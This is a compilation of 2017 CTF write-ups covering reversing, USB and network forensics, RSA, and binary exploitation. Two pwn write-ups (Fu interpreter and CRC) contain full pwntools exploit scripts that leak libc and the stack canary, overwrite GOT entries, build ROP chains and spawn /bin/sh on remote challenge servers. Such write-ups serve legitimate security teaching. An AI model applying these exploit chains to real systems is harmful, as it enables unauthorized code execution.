[https://git.fh-campuswien.ac.at/CampusCyberSecurityTeam/ctfs/blob/master/programming/easyctf2017-fzzbuzz-2.md](https://git.fh-campuswien.ac.at/CampusCyberSecurityTeam/ctfs/blob/master/programming/easyctf2017-fzzbuzz-2.md) |
The size check for the number of data types to be send was signed and can be bypassed by providing a negative size which will result in classic stack BOF with a lack of canary we can just ROP to get a leak and ret2system. It's best to use the "int" class's buffer as it's closest to the saved return address and it's smallest in size (0xE000 bytes). However, the second part of this challenge was marked as "network" and it involved the fact that we can't send more than the (what I assume and describe as) size of the input stream buffer (which can vary depending on MTU/Window size, as these were some of the options we tried), but we were unable to figure this part out.
If any of the organizers be so kind to explain in the comments what was the trick behind the "network" concept of this challenge, we would appreciate it.
Thanks,
P.S.2manypckts-v2 was absolutely the same vulnerability except that all 5 data type classes were instantiated on the heap causing a heap overflow instead of stack overflow. Which was still doable if only we were able to send the whole payload to the server.
|
[https://losfuzzys.github.io/writeup/2017/04/03/ndhquals2017-escapethematrix/](https://losfuzzys.github.io/writeup/2017/04/03/ndhquals2017-escapethematrix/) |
# 67k - 400 Points
[Here](https://github.com/EasyCTF/easyctf-2017-problems/blob/master/r3ndom-67k/bins.zip?raw=true) are 67k binaries, well more accurately 67,139 binaries. Solve every single one, append the results together in order (shouldn't be too difficult as the binaries are numbered) and then from there I'm sure you can figure it out.
### Solution
###### Writeup by VoidMercy from phsst
We were given approximately 67000 binaries, named in order, and we had to reverse each one and append the results together.
Because we were given 67000 binaries, we can safely assume the structure of each binary is very similar to the others. Running one of the executables, we see that we had to input a number, and if the number is correct, the program will give us a character, which we would concatenate with the rest. However, the program does not exit after a correct input. This leads me to believe that we have to reverse the encryption system for outputting the character. Let's take a look at the code in IDA.
Here are the interesting parts:
```.Gu5D:00402012 push offset dword_40306C.Gu5D:00402017 push offset Format ; "%d".Gu5D:0040201C call scanf.Gu5D:00402022 add esp, 8.Gu5D:00402025 mov eax, ds:dword_403000.Gu5D:00402025 mov eax, ds:dword_403000.Gu5D:0040202A mov ecx, 0A1A8A7EDh.Gu5D:0040202F call sub_402003.Gu5D:00402034 cmp eax, ds:dword_40306C.Gu5D:0040203A jnz short loc_40205A.Gu5D:0040203C mov cl, ds:byte_403007.Gu5D:00402042 sar eax, cl.Gu5D:00402044 and eax, 0FFh.Gu5D:00402049 push eax.Gu5D:0040204A push offset aWowYouGotIt_He ; "Wow you got it. Here is the result: (%c"....Gu5D:0040204F call printf```
We can see that two things are being moved into registers eax and ecx. Then another function is called.
```.Gu5D:00402003 sub_402003 proc near ; CODE XREF: start+29.Gu5D:00402003 sub eax, ecx.Gu5D:00402005 retn.Gu5D:00402005 sub_402003 endp```
We can see that subtraction is performed on these two values, and stored into eax. Eax is then compared to the user input, presumably, and if it is the same, the character is printed.We can see that the character is just the correct user input value right shifted by a byte, stored at ds:byte_403007, then binary anded with 0xFF.
Now we know how to obtain the character in each binary. Take the two values moved into eax and ecx, perform an operation (xor, add, or sub depending on the binary), right shift by a byte value, and binary and the result with 0xFF. We now just need to write a script to automate this process. I took advantage of objdump -d and objdump -s to obtain the two operands, the operation, and the right shift value. Here is my script:
```pythonimport os, subprocess
def reverse(shit): ans = "" a = 3 while a >= 0: ans += shit[a * 2] + shit[a * 2 + 1] a -= 1 return ans
decoded = open("decoded.txt", "w")
for i in range(67140): temp = str(hex(i))[2:] filename = "0" * (5 - len(temp)) + temp
#print (filename) p=subprocess.Popen(["objdump -d " + filename + ".exe"],stdout=subprocess.PIPE,shell=True) (out,err)=p.communicate() lines = out.split("\n") n1 = -1 n2 = -1 for line in lines: if ("mov" in line and "eax" in line): n1 = line.split("mov")[1].split(",")[0].replace("0x", "").strip() if ("mov" in line and "ecx" in line): n2 = line.split("mov")[1].split(",")[0].replace("0x", "").strip() add1 = 0 add2 = 0 if ("$" in str(n1)): n1 = str(n1).replace("$", "") else: add1 = int(n1, 16) if ("$" in str(n2)): n2 = str(n2).replace("$", "") else: add2 = int(n2, 16) p=subprocess.Popen(["objdump -s " + filename + ".exe"],stdout=subprocess.PIPE,shell=True) (out2,err) = p.communicate() lines = out2.split("\n") for a in range(len(lines)): line = lines[a] startAdd = line.strip().split(" ")[0].strip() try: if (int(startAdd, 16) <= add1 and int(startAdd, 16) + 16 > add1): stuff = line.strip().split(" ")[1] + line.strip().split(" ")[2] + line.strip().split(" ")[3] + line.strip().split(" ")[4] #print (stuff) try: line2 = lines[a + 1] shit = line2.strip().split(" ") del shit[0] stuff += str("".join(shit)) except: a=2 c = add1 - int(startAdd, 16) n1 = stuff[c * 2:][:8] n1 = reverse(n1) #print (n1) except: a=1 try: if (int(startAdd, 16) <= add2 and int(startAdd, 16) + 16 > add2): stuff = line.strip().split(" ")[1] + line.strip().split(" ")[2] + line.strip().split(" ")[3] + line.strip().split(" ")[4] c = add2 - int(startAdd, 16) + 1 n2 = stuff[c * 8 - 8:][:8] n2 = reverse(n2) except: a=1 ans1 = 0 ans2 = 0 bin1 = bin(int(n1, 16))[2:] bin2 = bin(int(n2, 16))[2:] ans1 = int(bin1, 2) ans2 = int(bin2, 2)
lines = out.split("\n") op = -1 for line in lines: if ("mov" in line and "cl" in line): add = line.split("mov")[1].split(",")[0].replace("0x", "").strip() break for line in lines: if ("call" in line and "*" not in line): op = line.split("call")[1].replace("0x", "").strip() break for line in lines: if (":" in line and op in line.split(":")[0] and ">" not in line): op = line.split("\t")[2].strip().split(" ")[0].strip() break
if ("xor" not in op and "add" not in op and "sub" not in op): errFile.write(filename) p=subprocess.Popen(["objdump -s " + filename + ".exe"],stdout=subprocess.PIPE,shell=True) (out2,err)=p.communicate() lines = out2.split("\n") add = int(add, 16) byte = 0 for line in lines: startAdd = line.strip().split(" ")[0].strip() try: if (int(startAdd, 16) <= add and int(startAdd, 16) + 16 > add): stuff = line.strip().split(" ")[1] + line.strip().split(" ")[2] + line.strip().split(" ")[3] + line.strip().split(" ")[4] c = add - int(startAdd, 16) + 1 byte = stuff[c * 2 - 2:][:2] except: a=1 #print ("Number 1: " + n1) #print ("Number 2: " + n2)
shift = byte
n1 = ans1 n2 = ans2 ans = 0 if (op == "sub"): ans = int(n1) - int(n2) elif (op == "xor"): ans = int(n1) ^ int(n2) elif (op == "add"): ans = int(n1) + int(n2) ch = chr((ans >> int(shift, 16)) & 0xff) decoded.write(ch)print ("done")decoded.close()```
Note: This problem could also have been done directly from the hex of the binary.
After extracting every character into [decoded.txt](https://github.com/VoidMercy/EasyCTF-Writeups-2017/blob/master/reversing/67k/decoded.txt) we can see that this is obfuscated javascript. We can simply paste the contents of decoded.txt (excluding "Javascript: ") into console, and obtain the flag.
## Flag
>easyctf{double_you_tee_eff?so_mAny_b1ns} |
# Forensic - Le bus magiqueWe download the challenge file which is named "LebusMagique_13378b8fc9585cb24dfade733f496d631e373cb0595706d4e6235734ee186802.pcapng".The file command confirms that this is a capture file.
```cf@front-secu-linux:/mnt/hgfs/sas/challs/sthack-2017/forensic$ file LebusMagique_13378b8fc9585cb24dfade733f496d631e373cb0595706d4e6235734ee186802.pcapngLebusMagique_13378b8fc9585cb24dfade733f496d631e373cb0595706d4e6235734ee186802.pcapng: pcap-ng capture file - version 1.0```
We can also check the SHA256 hash of the file.
```cf@front-secu-linux:/mnt/hgfs/sas/challs/sthack-2017/forensic$ sha256sum LebusMagique_13378b8fc9585cb24dfade733f496d631e373cb0595706d4e6235734ee186802.pcapng13378b8fc9585cb24dfade733f496d631e373cb0595706d4e6235734ee186802 LebusMagique_13378b8fc9585cb24dfade733f496d631e373cb0595706d4e6235734ee186802.pcapng```
We open the file with Wireshark to quickly see what is inside the capture.
Okay, so one more time we have to deal with USB trafic captured by usbmon. If we check quickly the content we can see many URB_INTERRUPT packets between 1.41 and the host and between 1.4.2 and the host.
The first step is to identify which equipment is connected on the USB port with the ID 1.4.0. To get this answer, we need to find a GET DESCRIPTOR Response DEVICE packet coming from this ID. The dissector tells us that this equipment is from Focusrite-Novation (a quick Google search will tell us that this manufacturer sell audio solutions for musicians). To completely understand what this equipment is doing on the bus we need to find what is behind 0x0036).
Some Google searches later, we find an interesting link https://gist.github.com/EllenFawkes/02c8e4b8e0b23aae3847 where we learn that this equipment is actually a Launchpad Mini from Focusrite-Novation. This is a MIDI equipment we can use to play some notes by pushing on the pad buttons. As I’m not a musician myself, I don’t really understand the goal of this pad but we need to go ahead to get the flag.
The USB equipment:
Fortunately, Focusrite-Novation has some good documents to help developers who want to build Application that can interact with the Launchpad Mini.http://lgnap.helpcomputer.org/wp-content/uploads/2014/09/launchpad-programmers-reference.pdf
By reading this document, we understand two things:* The Launchpad communicates with the PC* The PC can also communicates with the Launchpad
Now we understand why we have two IDs, 1.4.1 and 1.4.2. The first one is used to send messages to the PC and the other one is used to received messages from the PC.In the chapter 4, we also learn that Launchpad Mini communicates which key has been pressed by sending the following message "90h, *key*, *velocity*".It’s a good news because the capture file has a lot of these messages sent by the Launchpad Mini so it may be a good idea to extract the *key* value from the capture. We also learn that *velocity* has too special values: 7Fh when *key* is pressed and 00h when *key* is released.
We can use Scapy to parse the PCAP file and extract the key value.
[solve_launchpad-1.py](https://github.com/CyrilleFranchet/2017-sthack/blob/master/solve_launchpad-1.py)
This script dumps the key value and we can associate these values with the drum layout which is also included in the documentation.
But for the moment we don’t see the point of the Launchpad Mini.At this point we elaborated many theories and only one was correct ? Someone is pressing buttons to draw a character on the Launchpad Mini.If we look again at the capture file, we can see that a list of key presses is always followed by a series of message coming from the PC and sent to the Launchpad Mini.
The document explains that the message "80h, *key*, *velocity*" is used to produce the Note Off message (sent from the PC to the Launchpad Mini).We can guess that this sequence is used to separate characters in the capture.So now to get the flag we need to reconstruct the matrix of Launchpad Mini and print it when we see the 80h sequence.The following script displays the matrix of each character (in a way that will make you forget the term Pythonic I guess…).
[solve_launchpad-2.py](https://github.com/CyrilleFranchet/2017-sthack/blob/master/solve_launchpad-2.py)
We get the following message:FLAGISSHA256OFSTHACK_17_YEAH!
Let’s get the flag then.```cf@front-secu-linux:/mnt/hgfs/sas/challs/sthack-2017/forensic$ echo -n "STHACK_17_YEAH!" | sha256sum2ea0eec35b43437ef94ec456255a5597330f670a82ae8c392bf1660712b00950 -```
I would like to thank @shoxxdj for this chall. Year after year he is still able to provide interesting PCAP files. |
題目：You are surrounded by zombies on all sides. Blood and flesh that drip from their mouths. You run for cover in an abandoned building. As you huddle in terror under a delapitated desk your foot brushes against a small package. What could be inside???
檔案下載位址：https://github.com/SJChang/CTF
檔名：tag.gz
file type:tag.gz:pcap-ng capture file – version 1.0
封包大小不大．透過倒出裡面的內容，看看裡面有什麼：
File->export objects->HTTP
發現有傳三個檔案：
Screen Shot 2017-04-09 at 上午7.57.05.png
打開看兩個jpg的檔案，看起來都沒有什麼異狀．所以應該問題是在7z那個打包檔裡面
Screen Shot
打開flag.7z發現裡面的文字檔居然被加密了．
這時候，就要找解密啦～理論上CTF的東西都是包在一起的．也就是說，既然他給要你輸入密碼，那麼他在題目包裝的過程中，一定也把密碼包進去了．要嘛就是在另外兩個無關緊要的圖片裡，要嘛就是存在剛剛的封包串流檔裡面．
補充一點wireshark和網路概論的東西：
在彩色的欄位那邊，有時會出現一些英文字，常見的有：SYN, FIN, ACK, PSH, RST這五個．依序代表的意思是：
SYN：建立連線，
FIN：連線關閉（可能是在建立完連線，三項交握後）
ACK：回應
PSH：有 資料數據傳輸．1代表不用進入緩衝區就接收．
RST：重置連線．
回過頭來看封包檔．在編號302的封包以前，都是綠色的正常連線紀錄。304,305出現了client和server．到313的時候出現[PSH,ACK]這時可以說，他們有在傳資料，而且資料有正確的傳出去．但是傳了什麼資料呢？就要看封包裡面的細項了．
點開封包裡面，看到結尾是=．在前幾章的網誌裡面有提到，看到’=’要很有警覺，這是base64加密！在’=’之前，是一大串的大小寫英文字母．其中，又以大寫居多．把滑鼠移到字上面，可以看到wireshark已經幫你把範圍都標成藍色的了，還跟你說在封包的哪一個段落．
Screen Sho
按Analyze->follow TCP stream就可以複製裡面的內文，拿去base64解碼器：
Screen Shot
我把解碼後的4865…..一長串複製下來，直接拿去貼在密碼那邊．發現行不通…
但是密碼應該就是跟這一大段有關．絕對有關！不然傳這一段幹嘛呢？
仔細看看這一大串的英文和數字．英文字母最多只有到f…
這是一個警訊！只有到f的話表示是16進位！這一大串英文跟16進位相關．假設每兩個字元代表一個字．那這一大串東西就是一段話．但是要怎麼把它變成一大段話呢？
直接作轉換：
Screen Shot 轉換後的全文如下：
He walked out in the gray light and stood and he saw for a brief moment the absolute truth of the world. The cold relentless circling of the intestate earth. Darkness implacable. The blind dogs of the sun in their running. The crushing black vacuum of the universe. And somewhere two hunted animals trembling like ground-foxes in their cover. Borrowed time and borrowed world and borrowed eyes with which to sorrow it.
這麼一大串文字，更不可能是解開的密碼吧…(笑）
小編就很天才的把所有的文字都貼到Google:
Screen Shot
看來這句話是The Road的引言．
於是就把The Road當作密碼解看看：（空格也要打喔）
（而且超吊詭的是… 我在linux和mac OS裡面都解不開．只有到windows才打得開＝＝＋）
sun{phUn_1n_7h3_c0MPl373_l4ck_0f_5UN} |
[](ctf=asis-ctf-quals-2017)[](type=exploit)[](tags=brainfuck)[](tools=pwntools)[](techniques=GOT overwrite)
# Fu interpreter (pwn-101)
We are given a [file](../fulang_e62955ff8cc20de534a29321b80fa246ddf9763f).
```bash$ file fulang_e62955ff8cc20de534a29321b80fa246ddf9763ffulang_e62955ff8cc20de534a29321b80fa246ddf9763f: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=746b0bdb7782ec102b56e6b27507d264920be051, not stripped$ checksec ./fulang_e62955ff8cc20de534a29321b80fa246ddf9763f[*] '/tmp/fulang_e62955ff8cc20de534a29321b80fa246ddf9763f' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE```The file is not stripped, so the decompilation is quite neat. There are only two functions of interest *main* and *fu_interpreter*.
```cint fu_interpreter(char a1, char a2){ _BYTE *v2; // ebx@13 char v3; // dl@15 signed int result; // eax@20
if ( a1 == ':' ) { if ( a2 == '<' ) --fu; if ( a2 == '>' ) ++fu; if ( a2 == '+' ) ++*(_BYTE *)fu; if ( a2 == '-' ) --*(_BYTE *)fu; if ( a2 == ':' ) putchar(*(_BYTE *)fu); if ( a2 == '.' ) { v2 = (_BYTE *)fu; *v2 = getchar(); } if ( a2 == '_' ) { v3 = (*(_BYTE *)fu)++; *(_BYTE *)fu ^= v3; } if ( a2 == '(' ) puts("Not implemented yet!"); if ( a2 == ')' ) puts("Not implemented yet!"); result = 1; } else { result = 0; } return result;}
int main(int argc, const char **argv, const char **envp){ int v4; // edi@6 signed __int32 i; // [sp+10h] [bp-DCh]@1 signed __int32 v6; // [sp+14h] [bp-D8h]@1 char s[4]; // [sp+18h] [bp-D4h]@1 char v8; // [sp+1Ch] [bp-D0h]@1 int v9; // [sp+E0h] [bp-Ch]@1 int *v10; // [sp+E8h] [bp-4h]@1
fu = (int)&dat;; setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 2, 0); printf("%s", "[Fulang service]\nEnter your code:"); fgets(s, 150, stdin); v6 = strlen(s); for ( i = 0; i < v6; i += 2 ) { if ( !fu_interpreter(s[i], s[i + 1]) ) { puts("Incorrect syntax, RTFM!"); break; } } return 0;}```The logic is very simple. It takes 150 bytes of brainfuck-like code and then evaluates it. One thing to note is *fu* and *data* are global variables. Array *data* is used as tape for the program to operate but since there are no bounds check on it, we can operate past it.
```bash$ gdb -q ./fulang_e62955ff8cc20de534a29321b80fa246ddf9763fLoaded 105 commands. Type pwndbg [filter] for a list.Reading symbols from ./fulang_e62955ff8cc20de534a29321b80fa246ddf9763f...(no debugging symbols found)...done.pwndbg> p/x &fu$1 = 0x804a060pwndbg> p/x &data$2 = 0x804a080```During execution in main current cell position is maintained in *fu* variable and it can be changed with < or >. Since we can have 75 operations max from the brainfuck code, we can control many bytes out of *data*. As we see above the actual *fu* is located only 0x20 bytes from *data*, we can underflow to *fu* and change it to any address such that in the next call of *fu_interpreter* we can gain arbitrary read and write on that address.
Since we now have arbitrary read and write and Partial RELRO, we can leak and patch GOT entries.The exploitation is quite simple now. + First patch GOT['puts'] to main. This way we can reset *fu* on every puts() + Leak GOT['__libc_start_main']. We already have the system libc from the hint in the problem. This helps calculating address of system() in libc + Call puts() and restart execution to reset *fu*. + Patch GOT['strlen'] to libc system address since strlen takes only one param which is the user input, perfect to patch for system() + Restart main() again and "/bin/sh"
```pythonfrom pwn import *
context(arch='i386', os='linux', log_level='info')local = len(sys.argv) == 1main = 0x80486de
if not local: s=remote('69.90.132.40',4001) __libc_start_main_base = 0x18540 system_base = 0x3a940else: s=process('./fulang_e62955ff8cc20de534a29321b80fa246ddf9763f') #gdb.attach(s) raw_input() print hex(u32(s.leak(0x804a020,4))) print s.libs() __libc_start_main_base = 0x19970 system_base = 0x3e3e0p = ":(:<:<:<:<:<:<:<:<:<:<:<:<:<:<:<:<:<:<:<:<:<:<:<:<:<:<:<:<:<:<:<:<:.:.:>:.:>:.:>:.:>:::>:::>:::>:::>:::>:::>:::>::"p += ":"*(146-(len(p)))p += "??" #force puts() to restart main()s.recvline()s.send(p)s.send(":\x1c"+p32(main)) # patch GOT['puts'] to mains.recvline()s.recv(4) #leak strlen__libc_start_main_leak = u32(s.recv(4)) # leak __libc_start_mainlibc_base = __libc_start_main_leak - __libc_start_main_basesystem = libc_base + system_baseprint "leak",hex(__libc_start_main_leak), hex(system)time.sleep(2)p = ":<:<:<:<:<:<:<:<:<:<:<:<:<:<:<:<:<:<:<:<:<:<:<:<:<:<:<:<:<:<:<:<:.:<:.:>:.:>:.:>:.:>"p += ":"*(146-(len(p)))p += "??" #force puts() to restart main()s.recvline()s.send(p)
s.send(":\x21"+p32(system)) #patch GOT['strlen'] to systems.sendline("/bin/sh")s.interactive()```
[](https://asciinema.org/a/112058) |
# ASIS CTF Quals 2017 - pwn - CRC - 123 pts
> Description:>> We have setup a fresh CRC generator service, but it's not hardened, so find the flag.> This service running on latest Ubuntu Xenial OS.
> nc 69.90.132.40 4002 > Attachment: [crcme](crcme) [crchelper.c](crchelper.c) [xpl.py](xpl.py) [libc_32.so.6](libc_32.so.6)>
# Write-up
The CRC service asks us for a size and some data to process. It then generates a checksum for the specified string and prints it back.
Quick check with checksec reveals:
```CANARY : ENABLEDFORTIFY : ENABLEDNX : ENABLEDPIE : disabledRELRO : FULL```
Well, at least no PIE, but it's ovious, we'll have to leak some data to get around those restrictions.
The function *get_userinput_number* contained an obvious buffer overflow, but it's guarded with a canary, so it won't be that easy to exploit.
```int get_userinput_number() { gets(s); return atoi(s);}```
OK, we'll need some way to leak memory addresses in order to find LIBC and to read the canary. After that, it should be an easy task to use *get_userinput_number* to execute a rop chain.
Took an educated guess there, that the crc functionality should be abused to leak some data.
Another "buffer overflow" happened to arise when reading the data, that should be CRC'ed.
```char s; // [sp+4h] [bp-84h]@1char *ptrInput; // [sp+68h] [bp-20h]@1[SNIP]ptrInput = &s;[SNIP]gets(&s);calcCrc(ptrInput, crcSize);```
So, if everything goes right, ptrInput is pointing to the string, the user entered and gets used as the argument for the CRC function. But since it's stored directly behind the input string (s) itself and *gets* is used, we can overwrite the pointer with some arbitrary address. With this, we're able to create a checksum for the data, that is stored at any address. But still, we will only get the CRC value for the data at this address. Thus, we need a method to reverse it in order to get the original value.
To make this easier, we can pass a size of 1, so the CRC function will only calculate the checksum for one byte. We'll still need a way to reverse this, but since we're now only considering one byte, there will be only 256 possible checksum values. This should be easy to brute force.
Ripped the CRC initialization method and the calculation method directly from the binary and created a short c script with it (see *crchelper.c*), which will generate a lookup table with the checksums for every possible byte.
Now we just have to call the CRC function for every byte in the address, we want to read and extract the returned checksum. The index of the checksum in our lookup table then represents the byte stored at the specified address.
```pythonCRCLOOKUP = [0xd202ef8d,0xa505df1b,0x3c0c8ea1,0x4b0bbe37,0xd56f2b94,0xa2681b02,0x3b614ab8,0x4c667a2e,0xdcd967bf,0xabde5729,0x32d70693,0x45d03605,0xdbb4a3a6,0xacb39330,0x35bac28a,0x42bdf21c,0xcfb5ffe9,0xb8b2cf7f,0x21bb9ec5,0x56bcae53,0xc8d83bf0,0xbfdf0b66,0x26d65adc,0x51d16a4a,0xc16e77db,0xb669474d,0x2f6016f7,0x58672661,0xc603b3c2,0xb1048354,0x280dd2ee,0x5f0ae278,0xe96ccf45,0x9e6bffd3,0x762ae69,0x70659eff,0xee010b5c,0x99063bca,0xf6a70,0x77085ae6,0xe7b74777,0x90b077e1,0x9b9265b,0x7ebe16cd,0xe0da836e,0x97ddb3f8,0xed4e242,0x79d3d2d4,0xf4dbdf21,0x83dcefb7,0x1ad5be0d,0x6dd28e9b,0xf3b61b38,0x84b12bae,0x1db87a14,0x6abf4a82,0xfa005713,0x8d076785,0x140e363f,0x630906a9,0xfd6d930a,0x8a6aa39c,0x1363f226,0x6464c2b0,0xa4deae1d,0xd3d99e8b,0x4ad0cf31,0x3dd7ffa7,0xa3b36a04,0xd4b45a92,0x4dbd0b28,0x3aba3bbe,0xaa05262f,0xdd0216b9,0x440b4703,0x330c7795,0xad68e236,0xda6fd2a0,0x4366831a,0x3461b38c,0xb969be79,0xce6e8eef,0x5767df55,0x2060efc3,0xbe047a60,0xc9034af6,0x500a1b4c,0x270d2bda,0xb7b2364b,0xc0b506dd,0x59bc5767,0x2ebb67f1,0xb0dff252,0xc7d8c2c4,0x5ed1937e,0x29d6a3e8,0x9fb08ed5,0xe8b7be43,0x71beeff9,0x6b9df6f,0x98dd4acc,0xefda7a5a,0x76d32be0,0x1d41b76,0x916b06e7,0xe66c3671,0x7f6567cb,0x862575d,0x9606c2fe,0xe101f268,0x7808a3d2,0xf0f9344,0x82079eb1,0xf500ae27,0x6c09ff9d,0x1b0ecf0b,0x856a5aa8,0xf26d6a3e,0x6b643b84,0x1c630b12,0x8cdc1683,0xfbdb2615,0x62d277af,0x15d54739,0x8bb1d29a,0xfcb6e20c,0x65bfb3b6,0x12b88320,0x3fba6cad,0x48bd5c3b,0xd1b40d81,0xa6b33d17,0x38d7a8b4,0x4fd09822,0xd6d9c998,0xa1def90e,0x3161e49f,0x4666d409,0xdf6f85b3,0xa868b525,0x360c2086,0x410b1010,0xd80241aa,0xaf05713c,0x220d7cc9,0x550a4c5f,0xcc031de5,0xbb042d73,0x2560b8d0,0x52678846,0xcb6ed9fc,0xbc69e96a,0x2cd6f4fb,0x5bd1c46d,0xc2d895d7,0xb5dfa541,0x2bbb30e2,0x5cbc0074,0xc5b551ce,0xb2b26158,0x4d44c65,0x73d37cf3,0xeada2d49,0x9ddd1ddf,0x3b9887c,0x74beb8ea,0xedb7e950,0x9ab0d9c6,0xa0fc457,0x7d08f4c1,0xe401a57b,0x930695ed,0xd62004e,0x7a6530d8,0xe36c6162,0x946b51f4,0x19635c01,0x6e646c97,0xf76d3d2d,0x806a0dbb,0x1e0e9818,0x6909a88e,0xf000f934,0x8707c9a2,0x17b8d433,0x60bfe4a5,0xf9b6b51f,0x8eb18589,0x10d5102a,0x67d220bc,0xfedb7106,0x89dc4190,0x49662d3d,0x3e611dab,0xa7684c11,0xd06f7c87,0x4e0be924,0x390cd9b2,0xa0058808,0xd702b89e,0x47bda50f,0x30ba9599,0xa9b3c423,0xdeb4f4b5,0x40d06116,0x37d75180,0xaede003a,0xd9d930ac,0x54d13d59,0x23d60dcf,0xbadf5c75,0xcdd86ce3,0x53bcf940,0x24bbc9d6,0xbdb2986c,0xcab5a8fa,0x5a0ab56b,0x2d0d85fd,0xb404d447,0xc303e4d1,0x5d677172,0x2a6041e4,0xb369105e,0xc46e20c8,0x72080df5,0x50f3d63,0x9c066cd9,0xeb015c4f,0x7565c9ec,0x262f97a,0x9b6ba8c0,0xec6c9856,0x7cd385c7,0xbd4b551,0x92dde4eb,0xe5dad47d,0x7bbe41de,0xcb97148,0x95b020f2,0xe2b71064,0x6fbf1d91,0x18b82d07,0x81b17cbd,0xf6b64c2b,0x68d2d988,0x1fd5e91e,0x86dcb8a4,0xf1db8832,0x616495a3,0x1663a535,0x8f6af48f,0xf86dc419,0x660951ba,0x110e612c,0x88073096,0xff000000]
def crc(size, payload): r.sendline("1") r.recvuntil("What is the length of your data:") r.sendline(str(size)) r.recvuntil("process:") r.sendline(payload)
r.recvuntil("CRC is: ") data = r.recvline()
r.recvuntil("Choice:")
return data
def readAddress(address): result = 0
for i in range(0, 4): payload = "A"*100 payload += p32(address+i)
crcByte = int(crc(1, payload), 16) orgByte = CRCLOOKUP.index(crcByte)
result += orgByte << (i*8) return result```
Armed with this, we can read some got entry and calculate the libc base address with it. With libc at hand, we'll have for one access to more rop gadgets, than we'll ever need and we can also leak *__environ* with it. Since it will be stored at a fixed offset to the canary, we can then calculate the position of the canary on the stack.
Having the address of the canary, we can just "de-crc" it the same way:
```pythonEXITGOT = 0x08049fec
def exploit(r): r.recvuntil("Choice:")
EXIT = readAddress(EXITGOT) LIBC = EXIT - 0x2e7b0
print ("[+] EXIT : %s" % hex(EXIT)) print ("[+] LIBC : %s" % hex(LIBC))
__ENV = LIBC + 0x001b1dbc
ENVPTR = readAddress(__ENV) CANARYPTR = ENVPTR - 0xd0
print ("[+] ENV : %s" % hex(ENVPTR)) print ("[+] Canary ptr : %s" % hex(CANARYPTR))
CANARY = readAddress(CANARYPTR)
print ("[+] Canary : %s" % hex(CANARY))```
```python xpl.py [+] Opening connection to localhost on port 6666: Done[7087][*] Paused (press any to continue)[+] EXIT : 0xf7e4c7b0[+] LIBC : 0xf7e1e000[+] ENV : 0xffffd32c[+] Canary ptr : 0xffffd25c[+] Canary : 0xfe381000```
The buffer overflow in "get_userinput_function" should now be an easy victim.
Used one_gadget to find a magic gadget in their libc to make things easier.
```$ one_gadget libc_32.so.60x3a819 execve("/bin/sh", esp+0x34, environ)constraints: esi is the address of `rw-p` area of libc [esp+0x34] == NULL
0x5f065 execl("/bin/sh", eax)constraints: esi is the address of `rw-p` area of libc eax == NULL
0x5f066 execl("/bin/sh", [esp])constraints: esi is the address of `rw-p` area of libc [esp] == NULL```
With this our final ropchain is:
```python ONEGADGET = LIBC + 0x5f065 RWP = LIBC + 0x1b0000 POP_ESI_EDI_EBP = 0x08048850 XOREAX = LIBC + 0x0002c5fc payload = "C"*40 payload += p32(CANARY) payload += "B"*12 payload += p32(POP_ESI_EDI_EBP) payload += p32(RWP) payload += p32(0xdeadbeef) payload += p32(0xdeadbeef) payload += p32(XOREAX) payload += p32(ONEGADGET)
r.sendline(payload) r.interactive()
return```
```c$ python xpl.py 1[+] Opening connection to 69.90.132.40 on port 4002: Done[+] EXIT : 0xf75dc7b0[+] LIBC : 0xf75ae000[+] ENV : 0xffd1cd3c[+] Canary ptr : 0xffd1cc6c[+] Canary : 0xffa0db00[+] ONEGADGET : 0xf760d065[*] Switching to interactive mode $ whoamitask2$ cat /home/task2/flag.txt**ASIS{db17755326b5df9dab92e18e43c3ee51}```
|
# Transformer - Reversing - 400 points
> We've got a file that was processed with a binary called transformer. We really need the contents of this file. Can you help?> ciphertext.zip.enc> transformer
This is a binary written in Rust that encrypts a file, and we have to find a way to reverse the decryption to get the flag from the attached encrypted file.
First thing to do is load the binary into IDA. Rust is still compiled to x86/x64, so we can use all our standard tools. When loaded, we see that there are tons of symbols in the file - not sure if this is a side effect of Rust, or just the challenge creators being generous. After a few minutes we discover a class of functions named `transformer::rc5`, which hints that this might be an implementation of the [RC5 encryption algorithm](https://en.wikipedia.org/wiki/RC5).
To get a better understanding of it, we created a dummy plaintext file, fired up GDB and set breakpoints at the `transformer::rc5::Rc5::new::h30d6eb4c1bfeb265` and `transformer::rc5::Rc5::encrypt_block::hc307a8b30c5c81e1` functions. Inspecting the parameters we discovered that it initializes two key schedules with two sets of keys: `0xa89193a0, 0x5c3987ca` and `0x32af5f86, 0x74719560`. The parameters of the `encrypt_block` function showed that the former key was used to encrypt a randomly picked dword plus an increasing number. The latter key was used to encrypt bytes from our input file. To see how these pieces interact, we examined the function that called `encrypt_block` and noticed that both values were XORed together. This looked like a custom version of the [CTR encryption mode](https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Counter_.28CTR.29). We deleted all breakpoints, let the program run till it terminated, and then inspected the resulting encrypted file. We saw that the first four bytes of the file were the same as the random dword, and that the data after that matched the XORed data we observed. Surprisingly enough, we also saw that some data, at regular intervals, weren't encrypted at all. Never found out if this was a bug or intended behavior.
We then wrote our own implementation of RC5 in Python and used it to decrypt the `ciphertext.zip.enc` file. Inside was a text file, which contained the flag - `VolgaCTF{Wh1te_b0x_crypto_i$_not_crYpto}` |
English: [http://f4lrik.ru/en/keypass-reverse-100-volgactf-2017/](http://f4lrik.ru/en/keypass-reverse-100-volgactf-2017/)
Russian: [http://f4lrik.ru/ru/keypass-reverse-100-volgactf-2017-2/](http://f4lrik.ru/ru/keypass-reverse-100-volgactf-2017-2/) |
# Organizer's Solution
The key is very hard to factor (it has actually more than two factors to generate it faster, there are a lot of 512 bit factors), but it doesn't matter.RSA's basic math is :
ciphertext = message^exponent mod n
However, as n is very large, the modulus is useless and the ciphertext is only message^exponent. Since we have the ciphertext and the exponent, we only have to compute the 65537th root of c to get m ! |
**Misc - Something Strange - 2500**
Un dossier compressé nous est fournis dans l'énoncé du challenge.
Dedans des fichiers :
```BASHfileA fileD fileF fileH fileJ fileM fileP fileU fileW fileYfileB fileE fileG fileI fileL fileO fileR fileV fileX```
__Résolution :__
On constate une différence sur les dates de modification des fichiers :
```BASHstat fileA fileB
